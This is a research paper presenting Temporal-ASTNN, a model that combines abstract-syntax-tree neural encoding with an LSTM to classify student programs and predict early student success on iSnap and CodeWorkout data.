As students learn how to program, both their programming code and their understanding of it evolves over time. In this work, we present a general data-driven approach, named Temporal-ASTNN for modeling student learning progression in open-ended programming domains. Temporal-ASTNN combines a novel neural network model based on abstract syntactic trees (AST), named ASTNN, and Long-Short Term Memory (LSTM) model. ASTNN handles the *linguistic* nature of student programming code, while LSTM handles the *temporal* nature of student learning progression. The effectiveness of ASTNN is first compared against other models including a state-of-the-art algorithm, Code2Vec across two programming domains: iSnap and Java on the task of program classification (*correct* or *incorrect*). Then the proposed temporal-ASTNN is compared against the original ASTNN and other temporal models on a challenging task of student success early prediction. Our results show that Temporal-ASTNN can achieve the best performance with only the first 4-minute temporal data and it continues to outperform all other models with longer trajectories.
**Keywords**
Student Modeling in Programming, LSTM, ASTNN
1. INTRODUCTION
Learning how to program is like learning how to write in a second language. As students learn to author code, both their programming code and their understanding of it evolves over time. Prior research has either focused *exclusively* on developing accurate *linguistic* models of their artifacts [30, 24, 1, 42], or developing *temporal* models of students comprehension of programming [11, 21, 23]. In this work, we propose a general data-driven approach named Temporal-ASTNN, which combines a state-of-the-art neural network model based on abstract syntax trees (AST) named ASTNN – addressing the *linguistic structure* of the students’ artifacts – along with Long-Short Term Memory (LSTM), which handles their *learning progression*. In this way we effectively marry both aspects of the process in a single system.
Much as *language* is how people communicate, *programming languages* are how we communicate with machines, and various natural language processing (NLP) techniques can be applied to modeling programming languages [15]. Traditional approaches for code representation often treat code fragments as natural language texts and model them based on their tokens [7, 9]. Despite their simplicity, token-based methods omit the rich and explicit *structural* information [25] in student codes. Until recently, deep learning models have achieved state-of-the-art results on source code analysis, including code functionality classification [24], method name prediction [1], code clone detection [42] and so on. These successful models usually combine Abstract Syntax Tree (AST) representations with various neural networks to capture the structural information from the programming language. Their impressive performance shows that by addressing the *linguistic structural* nature of code, syntactic knowledge is indeed important to learn meaningful code representation.
On the other hand, modeling student learning progression in open-ended programming environments is also a type of student modeling. Generally speaking, student modeling has been widely applied to predict the student’s future performance based on historical data. For well-defined learning environments, student models usually monitor students’ learning progress (*correct* or *incorrect*) over time to infer their knowledge states, such as Bayesian Knowledge Tracing (BKT) [8] and Deep Knowledge Tracing (DKT) [29]. When it comes to open-ended programming environments, student modeling becomes much more challenging because 1) the correctness evaluation concerning each step taken by students will not be available, and 2) it is extremely hard to represent student states. As a result, prior research either has focused on utilizing other features such as hint usage, interface interactions to evaluate student learning outcomes [11], or creating meaningful states by transforming student click-like log files into fixed feature sets for various student
modeling tasks [21]. While such prior work is able to capture the temporal information from historical data, it ignores the linguistic, structural property of student code. As an accurate student model is a building block for any educational system that provides adaptivity and personalization, it is especially important to model student learning progression in open-ended programming tasks by addressing both linguistic and temporal characteristics in student code sequences.
In this work, we present a data-driven approach named Temporal-ASTNN to model student learning progression in open-ended programming domains. Temporal-ASTNN consists of two main modules: 1) ASTNN [42] for code representation learning, which can handle the linguistic structure of student code, and 2) LSTM [16] for temporal learning, which handles the temporal nature of student learning progression. In order to explore the effectiveness of our model, we focus on two types of student modeling tasks. One is the task of program classification (correct or incorrect), in which the effectiveness of ASTNN is compared against other models including a state-of-the-art algorithm, Code2Vec [1] across two programming domains: an open-ended block-based programming environment named iSnap and a textual programming environment for the Java programming language. The other is the task of student success early prediction in which the effectiveness of temporal-ASTNN is compared against the original ASTNN and other models integrating with different feature embeddings on iSnap only because it has trajectories of student codes.
Our main contributions are: 1) To the best of our knowledge, Temporal-ASTNN is the first model to address both linguistic and temporal properties of student learning progression in programming tasks; 2) We explored the robustness and the effectiveness of our model on student success early prediction task and compared it with state-of-the-art temporal models; and 3) We evaluated the effectiveness of ASTNN against Code2Vec and various baseline models on student program classification tasks across two domains, while most prior research mainly focused on classic tasks of professional source code analysis instead of novice programming.
The remainder of this paper is structured as follows. Section 2 presents the methods. Section 3 and 4 describe the two types of programming tasks together with experimental settings and results. Section 5 presents the related work. Finally, we discuss and conclude our work in Section 6.
2. METHODS
Problem Definition: For the task of student program classification, our dataset can be represented as \( \{ X, Y \} = \{ (x^1, y^1), (x^2, y^2), \ldots, (x^N, y^N) \} \) where \( N \) is the total number of codes in the dataset where \( x^i \) represents a code snippet of student \( i \) and binary \( y^i \) indicates whether the code is correct or not.
For the task of student success early prediction, our dataset can be represented as \( X = \{ x^1, x^2, \ldots, x^M \} \), where \( M \) is the number of students. For a given student \( k \), \( x^k = \{ x^k_1, \ldots, x^k_{T_k} \} \), where \( x^k_1 \) represents student \( k \)'s code at time step \( t \) in \( x^k \) and \( T_k \) is the total number of codes in the student \( k \)'s learning trajectories which varies with different students. For each \( x^k \), we are provided with the outcome label \( y^k \) for the outcome of the sequence of codes. \( y^k = 0 \) indicates the student \( k \) succeeded, otherwise \( y^k = 1 \). The goal of student success early prediction is to predict the \( y^k \) using the student's codes from the beginning up to the certain minutes: \( x^k_1, x^k_2, \ldots, x^k_k \).
For simplicity, we omit index \( k \) hereinafter when it does not cause ambiguity.
2.1 Temporal-ASTNN
Figure 2 shows the detailed structure of Temporal-ASTNN. Fundamentally, it contains a ASTNN which learns the embedding for student code and a LSTM layer which handles the temporal aspect. It is important to note that in Temporal-ASTNN, the two modules interact with each other to control how information flows.
2.1.1 ASTNN
ASTNN is one of the state-of-the-art methods in source code analysis, and its main idea is to learn a vector for the code through statement-level ASTs. Specifically, we split the large AST of a code fragment by the granularity of statement and extract a sequence of statement trees (ST-trees) via pre-order traversal. As shown in Figure 1 (highlighted in blue), we can get a ST-tree rooted at forward, whose child is literal and grandchild is 100. In this way, we will get a sequence of ST-trees from the original AST, and feed them as the raw input of ASTNN. As shown in Figure 2, ST-trees...
will first pass Statement Encoder, then go through Bidirectional GRU (Bi-GRU) \[2\], finally pass max-pooling layer to get the vector for code representation.
**Statement Encoder**: Figure 3 shows the detailed structure of statement encoder. Assuming that there are \(J\) total nodes in a ST-tree \(s_t\), for each node \(n^j_t \in s_t\), \(j \in [1, J]\), it will first go through the embedding layer to get initial embeddings \(v^j_t = \text{W}_{\text{emb}} n^j_t\), where \(\text{W}_{\text{emb}} \in \mathbb{R}^{V \times d}\) is the pre-trained embedding matrix, \(V\) is the vocabulary size and \(d\) is the embedding dimension. Then the vector will be updated through a Recursive Neural Network [35] based encoder layer: \(h^j_t = \sigma(\text{W}_\text{encode}^\top v^j_t + \sum h_{\text{child}} + b^j)\). Here \(\text{W}_\text{encode} \in \mathbb{R}^{d \times 2d}\) is the encoding matrix and \(k\) is the encoding dimension. \(b\) is the biased term and \(\sigma\) is the activation function, in this work we followed the original paper to set \(\sigma\) as identity function. After recursive optimization of the vectors of all node in the ST-tree, we sample the final representation \(e_t\) via a max-pooling layer:
\[
e_t = [\max(h^1_t), \max(h^2_t), ..., \max(h^J_t)], j \in [1, J]
\]
**Code Representation**: For a set of ST-trees \((s_1, s_2, ..., s_L)\), where \(L\) is the number of ST-trees in the AST, our goal is to get a code vector \(z\) as final representation. After generating a sequence of vectors \((e_1, e_2, ..., e_L)\) from Statement Encoder, we will apply Bi-GRU to track the naturalness of statements sequence:
\[
h_t = [\overline{\text{GRU}}(e_i), \underline{\text{GRU}}(e_i)], i \in [1, L]
\]
The statement representation \(h_t \in \mathbb{R}^{L \times 2m}\), where \(m\) is the embedding dim of Bi-GRU. Finally, similar to Statement Encoder, a max-pooling layer is used to sample the most important features on each of the embedding dimension. Thus we get \(z \in \mathbb{R}^{2m}\), which is treated as the final vector representation of the original code fragment.
In original ASTNN, we can add another linear layer to directly fit \(z\) to the following prediction tasks. While in Temporal-ASTNN, \(z\) will be used as the input for LSTM memory cell.
\[2.1.2 \text{ LSTM}\]
As shown in Figure 2, at each time step \(t\), the output of ASTNN \(z_t\) will be used as the input for LSTM cell. Once ASTNN generates the code representation by learning the linguistic nature from code \(x_t\):
\[
z_t = \text{ASTNN}(x_t)
\]
LSTM is trained utilizing input vector \(z_t\) to handle the temporal information. There are three major components: a forget gate, an input gate, and an output gate in a LSTM memory cell.
**Forget Gate**: In the first step, a function of the previous hidden state \(h_{t-1}\) and the new code input \(z_t\) passes through the forget gate, indicating what is probably irrelevant and can be taken out of the cell state. The forget component will calculate a weight \(f_t\) between 0 to 1 for each element in hidden state vector \(C_{t-1}\). Here \(W_f\) and \(b_f\) are the weights and bias for the forget component.
\[
f_t = \text{sigmoid}(W_f \cdot [h_{t-1}, z_t] + b_f)
\]
**Input Gate**: There are two steps involved in input component's calculation. In the first step, a \(\tanh\) layer calculates a candidate vector \(\hat{C}_t\) that could be added to the current hidden state. In the second step, the input components calculate a weight vector \(i_t\) (ranging from 0 to 1) to determine to what extent \(\hat{C}_t\) should update the current memory state.
\[
\hat{C}_t = \tanh(W_c \cdot [h_{t-1}, z_t] + b_c)
\]
\[
i_t = \text{sigmoid}(W_i \cdot [h_{t-1}, z_t] + b_i)
\]
**Output Gate**: The output component is simply an activation function that filters elements in memory cell state \(C_t\), where \(C_t = C_{t-1} \cdot f_t + \hat{C}_t \cdot i_t\). It calculates a weight vector to determine how much information is allowed to be revealed:
\[
o_t = \text{sigmoid}(W_o \cdot [h_{t-1}, z_t] + b_o)
\]
Finally we get the output of time \(t\): \(h_t = o_t \cdot \tanh(C_t)\). In this work, we used the last-step output from LSTM as the temporal representation of student code sequence.
\[2.1.3 \text{ Temporal-ASTNN: Truncated vs. Entire}\]
As shown in Figure 2, by combining ASTNN and LSTM, the final Temporal-ASTNN can be described as:
\[
z_{1t}, ..., z_T = \text{ASTNN}(x_1, ..., x_T)
\]
\[
h_T = \text{LSTM}(z_{1t}, ..., z_T)
\]
\[
\hat{y} = \text{sigmoid}(W_i h_T + b_i)
\]
where \(\hat{y}\) is the output from Temporal-ASTNN, \(W_i\) is the weight matrix \(b_i\) is the bias term for the liner layer. The entire Temporal-ASTNN framework is learned by optimizing ASTNN and LSTM parameters spontaneously. They are optimized by minimizing the binary cross-entropy:
\[
\mathcal{L}(\hat{y}, y; \Theta) = -(y \log(\hat{y}) + (1 - y) \log(1 - \hat{y}))
\]
Prior research on applying ASTNN for source code analysis only used one snippet of code fragment to extract meaningful representation for following machine learning tasks. However, when combining ASTNN with LSTM on student
programming sequences such as iSnap for early prediction, we have the choices of either using the truncated training sequences or using the entire sequences. The advantage of using truncated sequences is that the training data would be more similar to the testing data and thus, the learned representations are more likely to emerge and be representative for the early success task. On the other hand, the advantage of using entire sequences is that the longer the sequences, the more meaningful AST patterns can be considered and discovered. Thus, we explored Temporal-ASTNN using both the entire and the truncated sequences for representation learning and referred as Temporal-ASTNN_{Trunc} and Temporal-ASTNN_{Entire} respectively.
2.2 Code2Vec
Code2Vec [1] leverages different features and model structures, and focuses on the dependency of distant components in code structures to achieve code classification tasks. As with ASTNN, Code2Vec is designed to address the linguistic structure of programming languages. Fundamentally, there are two main differences between these two models: 1) ASTNN takes a set of statement-level ASTs as inputs, while Code2Vec utilizes the syntactic paths of ASTs to learn the representation (an example path is shown in Figure 1 in red). And 2) After encoding the vector representations of ST-trees, ASTNN uses Bi-GRU to handle the sequence of vectors; while Code2Vec utilizes an attention mechanism to learn a weighted average of path vectors and thus to produce the final code representation. With the vector representing code, Code2Vec can also be used for various prediction tasks.
3. STUDENT PROGRAM CLASSIFICATION
In the task of student program classification, we aimed to predict the correctness (correct or incorrect) of student submitted code. The effectiveness of ASTNN is compared against Code2Vec and other token-based models across two programming domains: iSnap and Java.
3.1 Datasets
3.1.1 iSnap
iSnap is an extension to Snap! [13], a block-based programming environment, used in an introductory computing course for non-majors in a public university in the United States [32]. iSnap extends Snap! by providing students with data-driven hints derived from historical correct student solutions [31]. In addition, iSnap logs all students actions while programming (e.g. adding or deleting a block), as a trace, allowing us to detect the sequences of all student steps, as well as the time taken for each step. In this work, we focused on one homework exercise named Squiral, derived from the BJC curriculum [13]. In Squiral, students are asked to write a procedure that draws a square-like spiral. As shown in Figure 4, correct solutions require procedures, loops, and variables using at least 7 lines of code. We collected students’ data for Squiral from Spring 2016, Fall 2016, Spring 2017, and Fall 2017. We excluded students who requested hints from iSnap to eliminate factors that might affect students’ problem-solving progress, leaving a total of 65, 38, 29, and 39 student code traces from each semester, respectively.
The data collected from iSnap consists of a code trace for each student’s attempt. This code trace represents a sequence of timestamped snapshots of student code. In prior research, an expert feature detector has been proposed to automatically detect 7 expert features of a student snapshot [43]. Those expert features are binary and indicate whether the corresponding feature presents or not. We ran the expert-feature detector to tag each snapshot in all 171 code traces, making a total of 31,064 tagged snapshots. With the temporal sequences, iSnap data is evaluated not only on this classification task, but also on the temporal early prediction task as described in Section 4.
Figure 4: The iSnap interface, with the blocks palette on the left, the output stage on the right, the scripting area in the middle, and the hints button on top.
3.1.2 CodeWorkout
CodeWorkout\(^1\) is an online and open system for programming in Java. It provides a web-based platform on which students from various backgrounds can practice programming and instructors can offer courses [10]. Different from iSnap, CodeWorkout doesn’t log students’ traces during programming but only their submissions. In this work, we focused on one programming exercise named isEverywhere, where the knowledge of loops and array will be mainly evaluated. In isEverywhere, students are asked to write a Java function to check if a value is “everywhere”, that is in the given array if the value exists for every pair of adjacent elements. As shown in Figure 5, the system will show detailed feedback regarding the student’s submission, indicating how it failed/succeed on the corresponding test cases.
\(^1\)https://codeworkout.cs.vt.edu/

For the task of student program classification, the ground truth labels are generated as follows: in iSnap, a student’s submission is correct only if it satisfies all rubrics requirements, which are based on the expert-designed features and verified by humans; in CodeWorkout, a submission is correct if it passes all testing cases. Table 1 shows the number of correct and incorrect submissions across the semesters in each dataset. Note that here we include one submission per student to ensure that all data points are independent in both datasets. More specifically, for each student, we include the student’s “own” submission before receiving any detailed feedback, which means the student’s final submission for iSnap and the first submission for CodeWorkout.
### Table 1: Data overview on Student Program Classification
<table>
<thead>
<tr>
<th>Semester</th>
<th>iSnap correct</th>
<th>incorrect</th>
<th>CodeWorkout correct</th>
<th>incorrect</th>
</tr>
</thead>
<tbody>
<tr>
<td>S16</td>
<td>23</td>
<td>41</td>
<td>S19</td>
<td>156</td>
</tr>
<tr>
<td>F16</td>
<td>16</td>
<td>22</td>
<td>F19</td>
<td>223</td>
</tr>
<tr>
<td>S17</td>
<td>12</td>
<td>17</td>
<td></td>
<td>265</td>
</tr>
<tr>
<td>F17</td>
<td>11</td>
<td>28</td>
<td>Total</td>
<td>416</td>
</tr>
<tr>
<td>Total</td>
<td>63</td>
<td>108</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
### 3.3 Experiments
#### 3.3.1 Models Configuration
We conducted a series of experiments across both domains by comparing ASTNN against the state-of-the-art model Code2Vec and three *token-based* classic ML models.
**Three Token-based ML Models:** Three classic ML models, K-Nearest Neighbors (KNN), Logistic Regression (LG), and Support-Vector Machine (SVM) are explored. Following prior token-based approach, we applied TF-IDF to extract textual features [42, 34]. The input sentence for TF-IDF is the sequence of AST-tokens, which is generated by the pre-order traversal of original ASTs. For each of the three models, we explored different parameters to obtain the best results. For KNN, we had \( k = 10 \), for LG we used \( L_1 \) regularization, and for SVM we used linear kernel. Those parameters are tuned from 10-fold cross-validation with grid search, and all three models are implemented through the sklearn library.
**Two AST-based Deep Learning Models:** Code2Vec takes a set of AST-based paths as input, where the number of paths may vary from different student submissions. Thus we manually padded the number of paths to 100 over all code submissions. During the training, we set the maximum training epochs as 200, with the *patience* of early stopping set to 100, tuned learning rate to 0.0002. Linear layer and embedding dimensions are kept default to 100. To ensure a highest efficiency of the model, we set the batch size as the full batch. For ASTNN, the inputs are a set of ST-trees, and we padded the statement sequences to the maximum length to accommodate the longest sequence before feeding to Bi-GRU. During the training, we leverage 32 as batch size, 0.001 as learning rate, and keep the max training epoch as 50. The encoding dim for the statement encoder is set to 128, and the number of hidden neurons for Bi-GRU is set to 100. We implemented both ASTNN and Code2Vec in Pytorch. Same as the classic models, 10-fold cross-validation was applied for hyperparameter tuning.
For the task of student program classification, we did not compare ASTNN and Code2Vec against any models that used expert-designed features for two reasons: one is that the expert-designed features are only available for iSnap but not CodeWorkout; and the other reason is that these expert-designed features are used to determine the ground truth label of the student’s final submission in iSnap.
#### 3.3.2 Evaluation Metrics
Our models were evaluated using Accuracy, Precision, Recall, F1 Score, and AUC (Area Under ROC curve). Accuracy represents the proportion of students whose labels were correctly identified. Precision is the proportion of students who were predicted to be *incorrect* by each model were actually in the *incorrect* group. Recall tells us what proportion of students, who will actually be *incorrect*, were correctly recognized by the model. F1 Score is the harmonic mean of Precision and Recall that sets their trade-off. AUC measures the ability of models to discriminate groups with different labels. Given the nature of the task, in the following, we consider Accuracy and AUC as the most important metrics because the former is most commonly accepted while AUC is believed to be generally more robust.
Finally, it is important to emphasize that all models were evaluated using semester-based temporal cross-validation for both domains in this task, which only applied data from previous semesters for training and is a much stricter approach than the standard cross-validation.
### 3.4 Results
Table 2 and 3 compare the performing of the five models in iSnap and CodeWorkout respectively. In iSnap, among the three token-based models, LG and SVM have very similar performance as both have an accuracy score of 0.6604; moreover the best AUC and Precision are from LG and the best Recall and F1 are from SVM. Both LG and SVM outperform KNN on all metrics. While in CodeWorkout, Table 3 shows that the best accuracy, AUC, and Precision are from SVM and the best Recall and F1 are from KNN. Between the two AST-based models, ASTNN outperforms Code2Vec in both domains. It suggests that across the two different student programming environments, ASTNN is more effective than Code2Vec on the task of student program classification.
The comparisons between AST-based models with token-based models show the former significantly out-perform the latter in both domains; the only exception is that SVM with token has the highest precision in Java (Table 3). Note that here the difference between the SVM and ASTNN on
Table 2: Student Program Classification Results in iSnap
<table>
<thead>
<tr>
<th>Feature</th>
<th>Model</th>
<th>Accuracy</th>
<th>Precision</th>
<th>Recall</th>
<th>F1_score</th>
<th>AUC</th>
</tr>
</thead>
<tbody>
<tr>
<td>Majority Baseline</td>
<td>0.6321</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>0.5</td>
</tr>
<tr>
<td>Tokens</td>
<td>KNN</td>
<td>0.6132</td>
<td>0.7321</td>
<td>0.6119</td>
<td>0.6667</td>
<td>0.6137</td>
</tr>
<tr>
<td></td>
<td>LG</td>
<td>0.6604</td>
<td>0.8298</td>
<td>0.5821</td>
<td>0.6842</td>
<td>0.6885</td>
</tr>
<tr>
<td></td>
<td>SVM</td>
<td>0.6604</td>
<td>0.7460</td>
<td>0.7015</td>
<td>0.7231</td>
<td>0.6456</td>
</tr>
<tr>
<td>ASTs</td>
<td>Code2Vec</td>
<td>0.6810</td>
<td>0.8038</td>
<td>0.6786</td>
<td>0.7239</td>
<td>0.7017</td>
</tr>
<tr>
<td></td>
<td>ASTNN</td>
<td>0.8113**</td>
<td>0.8730**</td>
<td>0.8209**</td>
<td>0.8462**</td>
<td>0.8079**</td>
</tr>
</tbody>
</table>
Note: best models in each group are in **bold**, and the overall best labeled with **bold**.
Table 3: Student Program Classification Results in CodeWorkout
<table>
<thead>
<tr>
<th>Feature</th>
<th>Model</th>
<th>Accuracy</th>
<th>Precision</th>
<th>Recall</th>
<th>F1_score</th>
<th>AUC</th>
</tr>
</thead>
<tbody>
<tr>
<td>Majority Baseline</td>
<td>0.5430</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>0.5</td>
</tr>
<tr>
<td>Tokens</td>
<td>KNN</td>
<td>0.8709</td>
<td>0.8915</td>
<td>0.8679</td>
<td>0.8795</td>
<td>0.8712</td>
</tr>
<tr>
<td></td>
<td>LG</td>
<td>0.8299</td>
<td>0.8922</td>
<td>0.7811</td>
<td>0.8330</td>
<td>0.8345</td>
</tr>
<tr>
<td></td>
<td>SVM</td>
<td>0.8770</td>
<td>0.9437**</td>
<td>0.5093</td>
<td>0.6616</td>
<td>0.8822</td>
</tr>
<tr>
<td>ASTs</td>
<td>Code2Vec</td>
<td>0.9241</td>
<td>0.9299</td>
<td>0.9359</td>
<td>0.9329</td>
<td>0.9475</td>
</tr>
<tr>
<td></td>
<td>ASTNN</td>
<td>0.9529**</td>
<td>0.9416</td>
<td>0.9736**</td>
<td>0.9573**</td>
<td>0.9509**</td>
</tr>
</tbody>
</table>
Note: best models in each group are in **bold**, and the overall best labeled with **bold**.
Precision is rather small while the former has a much worse accuracy, F1-score, and AUC than ASTNN.
To summarize, our results show that in both domains, ASTNN achieves the best performance. These results show that by capturing the meaningful linguistic structure in student code, ASTNN is indeed more robust on the task of student program classification. Given its effectiveness, we further explored the effectiveness of Temporal-ASTNN which combines ASTNN with powerful temporal model LSTM on the task of student success early prediction.
4. STUDENT SUCCESS EARLY PREDICTION
For student success early prediction task, Temporal-ASTNN is compared against the original ASTNN and other temporal models. As mentioned in Section 3.1.2, here we only explored the early prediction task in iSnap.
4.1 Task Description
In iSnap, we have a total of 171 students and 31,064 temporal snapshots. Following the definitions used in prior research [23], the successful students are those who completed the programming assignment within one hour and got full credit while the rest are counted as unsuccessful. We have 59 successful and 112 unsuccessful ones. The detailed statistics for iSnap dataset are shown in Table 4. Note that for the purpose of learning, unsuccessful students are of interest for this classification task.
To predict student early success, we are given the first up to n minutes of a student’s sequence data and our goal is to predict whether the student will successfully complete the programming assignment at any given point in the remainder of the sequence. To conduct this task, we left-aligned all the students’ trajectories by their starting times and our observation window (the part of data used to train and test different machine learning models) includes the sequences from the very beginning to the first n minutes. If a student’s trajectory is less than n minutes, our observation window will include their entire sequence except the last one.
It is worth noting that student success early prediction is a much more challenging task compared to program classification: 1) besides the linguistic nature in student code, it also involves temporal information, and 2) the observation window is very early and thus student final submissions are not available for training or testing.
4.2 Experiments
4.2.1 Models Configuration
To further explore the power of ASTNN, we did extensive experiments and compared it with the start-of-the-art expert-designed features [43] and token-based features on the student success early prediction task. For each of the feature embedding (expert, token, AST), we explored two categories of models: the last value-based Logistic Regression (LG) models, and the temporal LSTM models. Note that LG is selected because, among the three classic ML methods explored on the task of student program classification in iSnap, LG has achieved the highest accuracy and AUC.
Last-Value Models: Motivated by prior work, we used a “Last Value” approach [4, 37, 23] to treat the last measurements within the given observation window as the input to train models. For early prediction settings, we truncated all the sequences in the training dataset in the same way as the testing dataset. For example, when our observation window is the first 4 minutes, we will only apply the last values in
the sequence within the first-4-minute observation window and use them as inputs for each model. More specifically, we used the expert features of the last submission within the observation window to train and test Expert-LG; similarly, the tokens from the last snapshot within the observation window to train and test token-LG; and the ASTs of the last submission within the observation window for both training and testing the original ASTNN.
Temporal Models: We applied LSTM to handle the temporal sequences of student code. Here we used the temporal sequences in the observation window for early predictions. Specifically for a given first-n-minute observation window: we used the sequences of expert features to train and test expert-LSTM; the sequences of token features to train and test token-LSTM. For Temporal-ASTNN, we explored Temporal-ASTNN\textsubscript{Trunc} and Temporal-ASTNN\textsubscript{Entire}. Both models would first convert student code sequences in the observation window into sequences of AST vectors and then feed them into LSTM. They only differ on how their AST vectors are trained: the former uses truncated sequences while the latter uses entire sequences (see Section 2.1.3).
To summarize, we analyze two main model settings: last-value and temporal, together with three different feature embeddings: expert, tokens, and ASTs. Thus in total we explored the effectiveness of six models.
4.2.2 Evaluation Metrics
For student success early prediction, all the models are evaluated using Accuracy, Precision, Recall, F1 Score, and AUC. Similarly to the first task, we consider Accuracy and AUC as the most important metrics, and the more stringent semester-based temporal cross-validation was carried out.
4.3 Results
We present our results of student success early prediction by first comparing the effectiveness of all six models on first-4-minute early prediction and then by exploring their average performance across different observation windows up to the first-10-minute data.
4.3.1 Results at First-4-minute Only
Table 5 shows different performance measures of all the six models at first-4-minute. In the group of Last-Value models, ASTNN has the best accuracy, Recall and F1 scores while the best AUC and Precision are from Expert-LG, and both of them have better performance than Token-LG. Actually, in terms of accuracy, Expert-LG and Token-LG perform worse than the simple majority baseline. This is probably either because only relying on the first-4-minute is too early or because the last snapshot of the first-4-minute does not provide enough information for these models to make effective early predictions. The fact that across the five evaluation metrics, the best performance either comes from Expert feature or comes ASTNN suggests that ASTNN is comparable to expert-designed features because of its ability of handling the linguistic structure of student syntactic code.
In the Temporal group, Temporal-ASTNN based models are the best. More specifically, both Temporal-ASTNN\textsubscript{Trunc} and Temporal-ASTNN\textsubscript{Entire} outperform Expert-LSTM and Token-LSTM on accuracy, AUC, precision and F1 scores, except that the best recall is from Token-LSTM. Between the two Temporal-ASTNN models, Temporal-ASTNN\textsubscript{Trunc} is generally better than Temporal-ASTNN\textsubscript{Entire} as it achieves higher accuracy, Recall, F1-score, and AUC. This is probably because by using the truncated training data for representation learning, Temporal-ASTNN\textsubscript{Trunc} is more likely to capture the temporal information that are not only predictive of student success but also more likely to be observed in the testing with only the first-4-minute data.
When further comparing temporal models with last-value models, we can see that all temporal models achieve better accuracy than their corresponding last-value models. It is reasonable since temporal models are able to capture the temporal information related to student success from the
temporal sequences, but such information is not available to last-value models.
Generally speaking, Temporal-ASTNN achieves the best performance at the first-4-minute observation window, which indicates that by combining ASTNN with LSTM, the temporal-ASTNN is able to learn the temporal and linguistic knowledge from student code sequences.
4.3.2 Results in First-10-minute Overall
Figure 6 (a) and (b) report Accuracy and AUC performance respectively for four models predicting student success: three temporal models and the best last-value model, ASTNN. For each graph, x-axis is the observation window of early prediction, here we vary the observation window from the first 2 minutes up to 10 minutes; and y-axis is the Accuracy/AUC score. As shown in Table 1, students generally take 10 to 60 minutes to complete the task and thus we took a measurement every 2 minutes for the first 10 minutes to generate the early stage predictions for each model. Table 6 shows the comparison of all six models for the student success early prediction in first-10-minute observation windows, we reported the mean value and corresponding standard deviation (in parenthesis) for each evaluation metric.
Table 6 shows a similar pattern as we observed earlier in Table 5. In the group of Last-Value models, ASTNN outperforms Expert-LG and Token-LG. Specifically, ASTNN continues to achieve the best accuracy, Recall and F1 scores in the first 10 minutes, and Expert-LG has the best AUC and Precision scores. In the group of temporal models, Temporal-ASTNN based models are still the best overall, with higher scores on accuracy, AUC, Precision and F1. Additionally, Temporal-ASTNN\textsubscript{Entire} is shown to be slightly better than Temporal-ASTNN\textsubscript{Trunc} as it achieves higher accuracy, AUC and Precision.
Both Figures 6 (a) and (b) show that Temporal-ASTNN\textsubscript{Entire} is the best model for student success early prediction as it stays on the top across all sizes of the observation window. As the length of observation window extends, all temporal models in general perform better, while the performance of last-value models fluctuates. This is because that training data includes more and more information and hereby the performance of temporal models improves over longer sequences. After 6 minutes, Expert-LSTM starts to perform as good as Temporal-ASTNN, which is not surprising. As the expert features are designed to detect student state for final grading, and student states will be more and more closer to their final submissions with the longer sequences. The fact that the best early predictions come from Temporal-ASTNN really suggests that addressing both linguistic and temporal nature of student code sequences brings us closer to the truth of student learning procession during programming, especially for the early stage (first 6 minutes).
5. RELATED WORK
5.1 Linguistic-based Models for Programming
A wide range of work has applied NLP techniques for programming. Traditionally, some prior work directly uses the tokens of ASTs for source code tasks [38, 12], by treating programming languages as natural languages. Despite some similarities, programming languages and natural languages [25] differ in some important aspects. Programming is a complex activity, and thus programs contain rich and explicit structural information. Recently, deep learning models has shown the potential to grasp more information from AST in many tasks. For example, TBCNN [24] takes the whole AST of code as input and performs convolution computation over tree structures, and it outperforms token-based models in program functionalities classification and bubble-sort detection. In the educational domain, Piech et al. (2015) proposed NPM-RNN to simultaneously encode preconditions and postconditions into points where a program can be used as a linear mapping between these points [30]. Gupta et al. (2019) presented a tree-CNN based method, that can localize the bugs in a student program with respect to a failing test case, without running the program [14]. More recently, ASTNN and Code2Vec has shown great success.
Siting at the root of AST, ASTNN [42] was proposed to handling the long-term dependency problems when taking the large AST as input directly. AST is a form of representing abstract syntactic structure of the source code [5], and it
Figure 6: Student Success Early Prediction on iSnap, last-value models are in dashed lines with empty symbols, temporal models are in solid lines with solid symbols, dark grey lines are from the majority baseline.
has been widely used in the domain of source code analysis. Similar to long texts in NLP, large ASTs can make deep learning models vulnerable to gradient vanishing problems. To address the issue, ASTNN splits the large AST of one code fragment into a set of small trees in statement-level and performs code vector embedding. It achieves state-of-the-art performance in both code functionalities classification and clone detection.
Code2Vec [1], on the other hand, utilizes AST-based paths and attention mechanism to learn code vector representation. Instead of a set of ST-trees, it takes a collection of leaf-to-leaf paths as input, and applies an attention layer to average those vectors. As a result, the attention weights can help to interpret the importance of paths. Code2Vec has shown to be very effective in predicting the names for program entities. Shi et al. (2021) also applied Code2Vec on a block-based programming dataset and used the learned embedding to cluster incorrect student submissions [34].
As far as we know, none of prior work has directly compared the effectiveness of ASTNN against Code2Vec. And in this work, we did extensive experiments across two programming domains: one is a block-based novice programming environment where the data size is relatively small; the other is a web programming platform in Java, in which more labeled data is available. Our results consistently suggest that ASTNN is able to capture more insights from student programs for correctness prediction.
5.2 Student Modeling for Programming
Student modeling has been widely and extensively explored by utilizing student temporal sequences. For example, BKT [8] and BKT-based models have been shown to be effective in predicting students’ overall competence [26], predicting the students’ next-step responses [41, 3, 27, 20], and the prediction of post-test scores [18, 22]. In recent years, deep learning models, especially Recurrent Neural Network (RNN) or RNN-based models such as LSTM have also been explored in student modeling [29, 36, 17, 39, 40, 19]. Some work showed that LSTM has superior performance over BKT-based models [22, 29] or Performance Factors Analysis [28]. However, it has also been shown that RNN and LSTM did not always have better performance when the simple, conventional models incorporated other parameters [17, 39].
In the programming domain, prior research has explored various temporal models for modeling student learning progress. For example, Wang et al. (2017) applied a recursive neural network similar to [30] as the embedding for student submission sequence, then feed them into a 3-layer LSTM to predict the student’s future performance. Please note that the work is quite different from our proposed Temporal-ASTNN. In Temporal-ASTNN, all the components are optimized together during training, while they applied a global embedding to generate the input sequences for LSTM. On the other hand, Emerson et al. (2019) have utilized four categories of features: prior performance, hint usage, activity progress, and interface interaction to evaluate the accuracy of Logistic Regression models for multiple block-based programming activities [11]. In our earlier work, we have used the expert-designed features for a block-based programming problem to train various temporal models, then made early predictions on student learning outcomes [21, 23].
To our best knowledge, while most of the previous studies on analyzing student programming data treated student code as either linguistic or temporal, no prior work has combined the two characteristics of programming data for student learning progression. Thus our proposed Temporal-ASTNN is the first attempt to addressing both aspects in student code.
6. CONCLUSIONS
